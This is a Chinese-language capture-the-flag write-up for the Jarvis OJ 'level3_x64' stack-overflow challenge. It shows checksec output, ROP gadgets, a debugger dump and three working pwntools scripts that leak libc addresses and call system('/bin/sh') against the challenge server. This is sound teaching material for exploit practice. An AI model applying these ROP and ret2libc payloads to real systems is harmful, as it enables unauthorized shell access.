liu@liu-F117-F:~/桌面/oj/level3_x64$ checksec level3_x64
[*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/level3_x64/level3_x64'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
只开启了NX保护。
没有system函数也没有/bin/sh字符串。
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
write(1, "Input:\n", 7uLL);
return read(0, &buf, 0x200uLL);
}
栈溢出漏洞
可以用write函数来泄露
查看rop
liu@liu-F117-F:~/桌面/oj/level3_x64$ ROPgadget --binary level3_x64 --only "mov|pop|ret"
Gadgets information
============================================================
0x00000000004005b3 : mov byte ptr [rip + 0x2004ce], 1 ; ret
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004005b2 : pop rbp ; mov byte ptr [rip + 0x2004ce], 1 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
Unique gadgets found: 13
很不幸,没有我们需要的3个寄存器rdi, rsi, rdx。
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
如果这个运行到这里的时候程序rdx有大于8的值就直接不用赋值了。先看一下如果是否成立
RAX: 0x3
RBX: 0x0
RCX: 0x7ffff78f0081 (<__GI___libc_read+17>: cmp rax,0xfffffffffffff000)
RDX: 0x200
RSI: 0x7fffffffdd20 --> 0xff0a6473
RDI: 0x0
RBP: 0x7fffffffdda0 --> 0x7fffffffddc0 --> 0x400650 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffdd20 --> 0xff0a6473
RIP: 0x400618 (<vulnerable_function+50>: leave)
R8 : 0x7ffff7bccd80 --> 0x0
R9 : 0x7ffff7bccd80 --> 0x0
R10: 0x4
R11: 0x246
R12: 0x4004f0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdea0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40060b <vulnerable_function+37>: mov rsi,rax
0x40060e <vulnerable_function+40>: mov edi,0x0
0x400613 <vulnerable_function+45>: call 0x4004c0 <read@plt>
=> 0x400618 <vulnerable_function+50>: leave
0x400619 <vulnerable_function+51>: ret
0x40061a <main>: push rbp
0x40061b <main+1>: mov rbp,rsp
0x40061e <main+4>: sub rsp,0x10
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd20 --> 0xff0a6473
0008| 0x7fffffffdd28 --> 0x0
0016| 0x7fffffffdd30 --> 0x7ffff7ffa268 (add BYTE PTR ss:[rax],al)
0024| 0x7fffffffdd38 --> 0x7ffff7ffe710 --> 0x7ffff7ffa000 (jg 0x7ffff7ffa047)
0032| 0x7fffffffdd40 --> 0x0
0040| 0x7fffffffdd48 --> 0x0
0048| 0x7fffffffdd50 --> 0x0
0056| 0x7fffffffdd58 --> 0x756e6547 ('Genu')
事实证明,这个时候的rdx是0x200完全够了。
from pwn import *
#context.log_level="debug"
elf=ELF("level3_x64")
write_plt=elf.plt["write"]
write_got=elf.got["write"]
prdi_ret=0x00000000004006b3
prsi_p_ret=0x00000000004006b1
main_addr=0x000000000040061A
def leak(address):
#p.recv()
p.recvuntil("Input:\n")
payload="A"*0x80+"A"*8+p64(prdi_ret)+p64(1)+p64(prsi_p_ret)+p64(address)+p64(0)+p64(write_plt)+p64(main_addr)
p.sendline(payload)
data=p.recv(8)
print hex(u64(data))
#print "%#x=>%"%(address,(data or '').encode('hex'))
return data
p=process("level3_x64")
#p=remote("pwn2.jarvisoj.com",9883)
d=DynELF(leak,elf=ELF("level3_x64"))
system_addr=d.lookup('system','libc')
print "system_addr="+hex(system_addr)
这里用dynelf直接获取到了。
这种方法是获取不到libc库的,直接获取到了system函数的加载地址。没有/bin/sh 字符串。需要用bss段跳转。如果直接用read函数从键盘上读入数据写入到bss段还是需要3个寄存器,实现不了。那就不用write可以换成gets函数来实现写入数据。
from pwn import *
#context.log_level="debug"
elf=ELF("level3_x64")
write_plt=elf.plt["write"]
write_got=elf.got["write"]
prdi_ret=0x00000000004006b3
prsi_p_ret=0x00000000004006b1
main_addr=0x000000000040061A
def leak(address):
#p.recv()
p.recvuntil("Input:\n")
payload="A"*0x80+"A"*8+p64(prdi_ret)+p64(1)+p64(prsi_p_ret)+p64(address)+p64(0)+p64(write_plt)+p64(main_addr)
p.sendline(payload)
data=p.recv(8)
print hex(u64(data))
#print "%#x=>%"%(address,(data or '').encode('hex'))
return data
p=process("level3_x64")
#p=remote("pwn2.jarvisoj.com",9883)
d=DynELF(leak,elf=ELF("level3_x64"))
system_addr=d.lookup('system','libc')
print "system_addr="+hex(system_addr)
#raw_input()
gets_addr=d.lookup('gets','libc')
print "gets_addr"+hex(gets_addr)
bss_addr=0x0000000000600a88
#raw_input()
p.recvuntil("Input:")
payload="A"*0x80+"A"*8+p64(prdi_ret)+p64(bss_addr)+p64(gets_addr)
payload+=p64(prdi_ret)+p64(bss_addr)+p64(system_addr)+p64(0x77777777)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()
但是不知道原因,能调用system函数,并且调用的时候rdi寄存器的值还是/bin/sh。好像是因为之前泄露的东西太多了,不知道泄露到哪了。大范围泄露这种尽量少执行,我们也不知道程序会出现什么样的错误。
换一种方式,泄露函数加载位置,获取偏移来查询libc版本https://libc.blukat.me/?q=read%3A0x7fa37a92d6a0%2Cwrite%3A0x7fa37a92d700&l=libc6-amd64_2.13-20ubuntu5.2_i386
from pwn import *
#context.log_level="debug"
elf=ELF("level3_x64")
write_plt=elf.plt["write"]
write_got=elf.got["write"]
prdi_ret=0x00000000004006b3
prsi_p_ret=0x00000000004006b1
main_addr=0x000000000040061A
#p=process("./level3_x64")
p=remote("pwn2.jarvisoj.com",9883)
p.recvuntil("Input:\n")
payload="A"*0x88+p64(prdi_ret)+p64(1)+p64(prsi_p_ret)+p64(elf.got["write"])+p64(77777777)+p64(elf.plt["write"])+p64(main_addr)
p.sendline(payload)
write_addr=u64(p.recv(8))
print "write_addr="+hex(write_addr)
#leak write_got
# p.recvuntil("Input:\n")
# payload="A"*0x88+p64(prdi_ret)+p64(1)+p64(prsi_p_ret)+p64(elf.got["read"])+p64(77777777)+p64(elf.plt["write"])+p64(main_addr)
# p.sendline(payload)
# read_addr=u64(p.recv(8))
# print "read_addr="+hex(read_addr)
# ###leak read_addr
#libc=ELF("./libc6_2.27-3ubuntu1_amd64.so")#local
libc=ELF("./libc-2.19.so")
system_addr=write_addr-libc.symbols["write"]+libc.symbols["system"]
bin_sh_addr=write_addr-libc.symbols["write"]+next(libc.search("/bin/sh"))
p.recvuntil("Input:\n")
payload="A"*0x88+p64(prdi_ret)+p64(bin_sh_addr)+p64(system_addr)+p64(0x77777777)
p.sendline(payload)
p.interactive()
这里远程连接查到的libc库不能用,不知道原因,还好给出了libc库,直接加载题目给出的库吧